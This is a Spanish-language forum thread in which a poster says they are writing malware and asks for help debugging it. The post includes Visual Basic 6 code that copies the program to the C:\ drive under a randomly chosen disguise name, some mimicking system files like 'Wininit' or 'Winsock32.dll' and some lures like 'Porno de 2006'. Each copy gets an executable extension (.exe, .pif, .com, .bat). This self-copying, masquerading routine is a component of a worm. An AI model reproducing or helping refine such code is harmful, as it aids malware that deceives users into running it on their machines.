Mensajes

Ok! gracias

Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede  , de todas formas gracias

Hola, estoy programando un malware que tome como nombre
para copiarse uno entre 30 opciones y 4 extensiones (.exe, .pif, .bat y .com ),
todo va bien hasta este punto, genera el nombre y la extension correctamente
pero si sale un archivo com, pif o bat y lo ejecuto me lanza error que dice:

Error '53' en tiempo de ejecucion :
no se ha encontrado el archivo

Les dejo el code para que lo analizen:

Option Explicit
Dim nombre As String
Dim exte As String
Dim toxico
Dim popo
Private Sub Form_Load()
Randomize
toxico = Int(Rnd * 30)
If toxico = 0 Then nombre = "Windows sevicess"
If toxico = 1 Then nombre = "Wininit"
If toxico = 2 Then nombre = "Sexy"
If toxico = 3 Then nombre = "runexe"
If toxico = 4 Then nombre = "puppet"
If toxico = 5 Then nombre = "shit"
If toxico = 6 Then nombre = "*****"
If toxico = 7 Then nombre = "Winsock32.dll"
If toxico = 8 Then nombre = "Root"
If toxico = 9 Then nombre = "Firewall"
If toxico = 10 Then nombre = "XP"
If toxico = 11 Then nombre = "WinNT"
If toxico = 12 Then nombre = "winXP"
If toxico = 13 Then nombre = "Logger"
If toxico = 14 Then nombre = "sucker"
If toxico = 15 Then nombre = "apestas"
If toxico = 16 Then nombre = "line"
If toxico = 17 Then nombre = "p**a"
If toxico = 18 Then nombre = "setsi"
If toxico = 19 Then nombre = "ozorio"
If toxico = 20 Then nombre = "sevicess"
If toxico = 21 Then nombre = "mi_vida-atte-tu compu"
If toxico = 22 Then nombre = "Informacion"
If toxico = 23 Then nombre = "Porno de 2006"
If toxico = 24 Then nombre = "nada"
If toxico = 25 Then nombre = "alg"
If toxico = 26 Then nombre = "que_joto_eres"
If toxico = 27 Then nombre = "me_cagas"
If toxico = 28 Then nombre = "abreme"
If toxico = 29 Then nombre = "no se"
Randomize
popo = Int(Rnd * 4)
If popo = 0 Then exte = ".exe"
If popo = 1 Then exte = ".pif"
If popo = 2 Then exte = ".com"
If popo = 3 Then exte = ".bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & nombre & exte

End sub

Espero puedan ayudarme